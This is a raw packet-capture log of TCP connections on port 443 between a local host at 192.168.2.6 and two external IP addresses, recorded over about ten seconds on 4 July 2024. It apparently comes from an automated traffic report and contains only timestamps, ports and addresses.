Jul 4, 2024 20:18:23.763484955 CEST	443	49862	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:23.924443960 CEST	443	49862	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:23.924537897 CEST	443	49862	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:23.924599886 CEST	49862	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:23.925071955 CEST	49862	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:23.934911966 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.934958935 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:23.935033083 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.935441017 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.935452938 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:24.546442986 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:24.546612978 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:24.548389912 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:24.548404932 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:24.548891068 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:24.553440094 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:24.600497007 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.130496979 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.130644083 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.130672932 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.130731106 CEST	443	49863	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.132814884 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.132814884 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.132848024 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.132880926 CEST	49863	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.133507013 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.137432098 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.137444019 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.744991064 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.747282982 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.747314930 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.934916973 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.935019016 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.935081959 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.935121059 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.935161114 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.935476065 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.935496092 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.935534000 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.935556889 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.935561895 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.936175108 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.936229944 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:25.936238050 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:25.936273098 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.025280952 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.025422096 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.025459051 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.025962114 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.026160002 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.026175976 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.027817965 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.027887106 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.027906895 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.028688908 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.028753042 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.028769016 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.083336115 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.083393097 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.114837885 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.114859104 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.114907980 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.114965916 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.114983082 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.115267038 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.115286112 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.115320921 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.115333080 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.115346909 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.116029024 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.116076946 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.116089106 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.116099119 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.116117001 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.116837025 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.116940975 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.116955042 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.117091894 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.117160082 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.117170095 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.117984056 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.118052006 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.118062973 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.118944883 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.119010925 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.119026899 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.119797945 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.119872093 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.119889021 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.161464930 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.223089933 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223109961 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223184109 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.223217964 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223474026 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223524094 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223529100 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.223542929 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223562956 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.223798990 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.223860025 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.223867893 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224128962 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224191904 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.224204063 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224225998 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224282026 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.224291086 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224576950 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224626064 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.224632978 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224852085 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.224914074 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.224921942 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.225471973 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.225533009 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.225539923 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.225704908 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.225771904 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.225780010 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.226346016 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.226413012 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.226419926 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.226743937 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.226809978 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.226816893 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.226835966 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.226878881 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.226886034 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.227109909 CEST	443	49864	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.227163076 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.227361917 CEST	49864	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.249378920 CEST	49865	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:26.249403000 CEST	443	49865	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:26.249474049 CEST	49865	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:26.249782085 CEST	49865	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:26.249794960 CEST	443	49865	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:26.851418972 CEST	443	49865	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:26.853821993 CEST	49865	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:26.853879929 CEST	443	49865	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:26.978127003 CEST	443	49865	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:26.978306055 CEST	443	49865	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:26.978437901 CEST	49865	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:26.980355978 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.980355978 CEST	49865	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:26.980391026 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:26.985640049 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.989430904 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:26.989444971 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:27.823884010 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:27.826421022 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:27.826453924 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:28.851861000 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:28.852026939 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:28.852063894 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:28.852425098 CEST	443	49866	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:28.852492094 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:28.853435040 CEST	49866	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:28.855123997 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:28.855180025 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:28.855274916 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:28.855961084 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:28.855978012 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.466824055 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.469221115 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.469269991 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.808278084 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.808345079 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.808464050 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.808506966 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.808549881 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.808964968 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.809004068 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.809035063 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.809067965 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.809075117 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.809820890 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.809870958 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.809878111 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.809911013 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.897661924 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.897737026 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.897747040 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.898541927 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.898606062 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.898612976 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.898726940 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.898782969 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.898789883 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.899691105 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.899749041 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.899755955 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.910222054 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.910435915 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.910444021 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.958376884 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.987458944 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.987479925 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.987664938 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.987673998 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988106012 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988137960 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988177061 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.988183975 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988210917 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.988627911 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988712072 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.988719940 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988843918 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.988917112 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.988923073 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.989650965 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.989708900 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.989717960 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.991226912 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.991280079 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.991287947 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.991408110 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:29.991465092 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:29.991472960 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.000112057 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.000184059 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.000193119 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.052150965 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.079039097 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079060078 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079117060 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.079158068 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.079169035 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079426050 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079444885 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079478979 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.079488039 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079508066 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.079607964 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.079668999 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.079678059 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.080142021 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.080209970 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.080218077 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.081610918 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.081676960 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.081686020 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.081779957 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.081830025 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.081837893 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.082114935 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.082176924 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.082185030 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.082503080 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.082561970 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.082571030 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.082988977 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083038092 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.083046913 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083354950 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083396912 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.083405972 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083426952 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.083616018 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083658934 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.083671093 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083823919 CEST	443	49867	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.083873034 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.084289074 CEST	49867	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.097296953 CEST	49868	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:30.097342968 CEST	443	49868	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:30.097415924 CEST	49868	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:30.097716093 CEST	49868	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:30.097727060 CEST	443	49868	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:30.706399918 CEST	443	49868	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:30.711424112 CEST	49868	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:30.711457014 CEST	443	49868	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:30.898787975 CEST	443	49868	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:30.898966074 CEST	443	49868	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:30.899061918 CEST	49868	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:30.899699926 CEST	49868	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:30.903796911 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.903846979 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:30.904061079 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.905443907 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:30.905456066 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:31.556217909 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:31.562489986 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:31.562529087 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.220953941 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.221036911 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.221071959 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.221955061 CEST	443	49869	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.222011089 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.222053051 CEST	49869	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.223776102 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.223808050 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.223871946 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.224273920 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.224286079 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.865643024 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:32.869452000 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:32.869498014 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.051924944 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.051987886 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.052089930 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.052114010 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.052184105 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.052968025 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.052989960 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.053076982 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.053116083 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.053123951 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.053148031 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.101448059 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.147566080 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.147589922 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.147763968 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.147783995 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.147787094 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.147811890 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.147845984 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.147902966 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.147917032 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.148682117 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.148799896 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.148809910 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.149710894 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.149821997 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.149828911 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.193442106 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.248158932 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.248182058 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.248336077 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.248336077 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.248374939 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.248419046 CEST	443	49870	13.107.137.11	192.168.2.6
